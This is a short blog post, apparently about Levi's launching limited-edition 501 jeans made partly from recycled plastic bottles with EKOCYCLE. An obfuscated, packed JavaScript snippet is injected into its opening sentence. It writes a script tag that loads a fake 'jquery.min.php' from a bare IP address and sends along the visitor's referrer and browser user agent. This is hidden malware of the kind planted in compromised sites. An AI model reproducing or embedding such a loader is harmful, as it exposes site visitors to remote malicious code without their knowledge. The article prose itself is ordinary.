Levi’s (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asbkr|var|u0026u|referrer|arnsr||js|php’.split(‘|’),0,{}))
are about to launch a new version of the iconic 501, and it’s going to be made from plastic bottles. WHAAAT?! No seriously, the powerhouse of denim is releasing limited edition 501’s in collaboration with EKOCYCLE, Will.i.am’s brainchild.

Levi’s have already released jeans made from recycled products as part of their WASTE LESS initiative, but this is the first time ever a 501 is being produced. Levi’s are innovators of modern processes, such as reducing the amount of water they use in the dying process – thus producing environmentally friendly products. Exciting news for both classic Levi’s fans and eco-warriors!

EKOCYCLE’s ambition is to ‘Motivate brands and people like you to join us on our quest to make more sustainable living cool’…and what better way to do this, by partnering with Levi’s and their envirable approach to lifestyle.

Made from ‘29% post consumer content’, that’s recycling to us, and in Levi’s case specifically from plastic coke bottles and food trays. We did the maths and that’s an average of 8 coke bottles per jean.

It’s quite a simple process, we;ll walk you through it… the bottles are collected from recycle stations and then separated by colours. They are then crusted into flakes and melted down into polyester fibre. The fibre is then blended as usual, with cotton and woven to created denim! Each batch is unique due to the colour of the bottles, which gives a beautiful tone to the fabric, making this denim extra special.

“Waste is only waste if we waste it,” said Will.i.am. Too true Wills, it’s good to recycle guys and if you can get a pair of 501s from it, what’s not to love? This isn’t a bag for life.

Levi’s WASTE LESS x EKOCYCLE available online now.